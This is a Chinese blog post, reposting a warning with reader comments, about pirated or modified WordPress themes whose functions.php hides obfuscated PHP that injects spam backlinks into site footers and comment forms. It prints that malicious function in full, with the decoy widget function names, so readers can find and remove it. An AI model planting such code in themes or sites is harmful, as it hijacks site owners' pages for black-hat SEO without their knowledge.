昨天 jeff-chen 通知我说“最近有朋友向我提及主题被修改问题”，并找到了原因。我看了一下 jeff-chen 的文章，和我曾经写过一篇《会感染主题functions.php文件的php恶意代码！》文章里面提及的恶意代码类似，因为涉及到用户安全问题，特意转载一下，以便让更多的朋友知道并防范。
×转×载×分×割×线×Start×
已收到第三位朋友提及网站底部出现“灵异”链接，一般表现为带链接的“Premium WordPress Themes”、“weboy”、“WordPress Themes”、“Free WordPress Themes”、“WordPress主题”、“WordPress Blog”几种形式。有一位朋友还是在我的主题上发现此问题，所以需要查清楚此事。
经过这位朋友发来的源代码已发现，是由于主题被修改过。目前仍不知道该代码是经 WordPress 插件传播，还是被第三方加上后发布，还是网站被黑造成。但是值得注意的是，请不要在非原官方的地方下载插件或者主题，以防代码已被修改过。另，请支持正版主题，被放出来的 Premium 级别的付费主题最有可能被修改代码。目前发现曾被修改的主题有 A-SuperCMS、iBlogPro 4、wpbus-D4。
解决方法：
请从Ftp下载主题文件夹，或者整站文件，使用Notepad++、Dreamweaver等软件搜索以下代码：
function mytheme_clinkft() { $urls = array('web'.'oy.or'.'g/','them'.'es.we'.'bo'.'y.org/','th'.'emes.we'.'bo'.'y.org/','th'.'em'.'es.w'.'eb'.'oy.org/','th'.'eme'.'s.w'.'ebo'.'y.org/','wp'.'2'.'b'.'log.com/','zh'.'ut'.'i.we'.'bo'.'y.o'.'rg/'); $urlst = array('We'.'b'.'oy' ,'Wor'.'dPr'.'ess The'.'mes' ,'Fre'.'e Wo'.'rdPr'.'ess Th'.'emes' ,'Fr'.'ee Wor'.'dPre'.'ss T'.'he'.'me' ,'Pr'.'emium Wor'.'dPre'.'ss Th'.'em'.'es' ,'Wor'.'dPre'.'ss Blo'.'g','Wo'.'rdPr'.'ess主'.'题'); srand(time()); $random = (rand()%7); echo '< '.'a '.'cla'.'ss="cl'.'inkf'.'t" hr'.'ef="ht'.'tp'.':'.'/'.'/'.$urls[$random].'" t'.'itl'.'e="'.$urlst[$random].'">'.$urlst[$random].'< '.'/a'.'>'; } if(!is_user_logged_in()){add_action( 'w'.'p_fo'.'ote'.'r', 'mytheme_clinkft' );add_action( 'co'.'mmen'.'t_fo'.'rm', 'mytheme_clinkft' );}
代码可能经常变化，若搜索不到，可以搜索当中的一些关键词。找到后将其删除即可。
该代码通常隐藏在模板的 function.php 文件中。该恶意代码的前后还有一些 function 是调用热门文章或者 widget，估计是为隐藏恶意代码加上去的。如："_check_isactive_widget" "_get_allwidgetcont" "_getsprepare_widget" "__popular_posts"，可一并删除。
若你在转换主题时提示 "Fatal error: Cannot redeclare _check_isactive_widget()"、"_get_allwidgetcont" 等错误，那你的代码很有很可能已被污染。
若你使用本站主题并发现有以上提及情况，请重新到本站重新下载主题及通知我们，谢谢！
黑链简介：
黑链是SEO黑帽手法中相当普遍的一种手段，笼统地说，它就是指一些人用非正常的手段获取的其它网站的反向链接，最常见的黑链就是通过各种网站程序漏洞获取搜索引擎权重或者PR较高的网站的Webshell，进而在被黑网站上链接自己的网站。
×转×载×分×割×线×End×
所以：各位朋友下载主题最好到这几个地方下载
1. WordPress 官方 http://wordpress.org/extend/themes/
2. 主题原作者网站
3. 一些大型的而且比较权威的主题网站
声明: 除非注明，ZWWoOoOo文章均为原创，转载请以链接形式标明本文地址
本文地址: http://zww.me/archives/25447
沙发~~目前还木有遇到过这情况~
@Leo.N
我以前碰到过，是一个客户给我的主题带有类似恶性代码
应该是使用破解主题造成的吧～
有些主题加密强度并不高~ 猜解下就有了 我现在折腾的好多主题都是加密的
@林木木
对，所以我现在如果有人给我主题要我修改，我会先查一下
@ztnotes
如果大家都懂得尊重下主题作者，那么就不会出现这些加密主题，也就不会给小人利用了
幸好我很久沒用過非官方主題啊～
@小闇
国内的有些小型的主题下载站比较会有这类恶性代码主题吧
额，原来我用的就是iblogpro，下面就有weboy
@elaphent
国内的破解主题通常会常有这些恶性代码
恶意代码产生原因，使用不干净或修改过的主题或程序，服务器漏洞
@图图网
国内用户喜欢用破解，所以才会给人利用
好吧,我好像只用过良心和z大锅的主题= =
没有压力...
@Veezy
呵呵，正规的题作者不会放这些恶性代码的，加密都懒的加密。
谢谢 ZWWoOoOo 帮忙。
@Jeff
别客气，还是需要尽些力，因为国内的环境本来就够囧的了
还好 目前没遇到这种情况。
@鬼鬼
木有最好啦
很邪恶的手段，需要被BS
@万戈
强烈BS
鄙视
@无冷
必须BS
又上了一课
我赶紧去检查下我的有木有。
@园子
嗯嗯，检查一下，以防万一
这个还没有遇见过，MACK一下~~
@奚少
最好别碰到，霍霍
我下载过几个，修改的是插件，主题未修改，原汁原味的，大部分还是全部未修改的
@Tiger
这里说的是一些被人恶性修改过的主题
网站被黑还真可怕，我一开始还以为是加密的那些代码。
@liveme
正规的的确只是加密
黑链却是很可恶，我的也曾经被挂过
@武汉SEO
那些人把技术恶心化
我都是从后台直接搜索了安装的，因为不喜欢FTP上传
@囧啊囧
这样最好，霍霍
@手机元素
下载时注意一下，另外不要使用所谓的破解主题
有点防不胜防~~还好没遇到过~~
@低版本
没遇到最好了
还是要有点安全意识
不认识的非官方插件和主题要小心
@A.shun
就是有点安全意识造成的，霍霍。上句搞错对象，国内很多人习惯免费造成的。
求教导 怎么可以不显示评论头像 又不会现实小窟窿
@徐伟
不显示就改评论结构，把头像调用函数去掉
@zwwooooo
谢谢，页面加载进度条 定位有问题 窗口 改变大小后 会产生一个很大的偏移
我管理的多站点网站也被它感染了，100多个主题全部需要修改，痛恨！
@苌蓊芪
摸摸头
我说怎么找不到呢？原来是这样加上去的啊。
我果然是中标了~~~~~
@爱微博客
平时要注意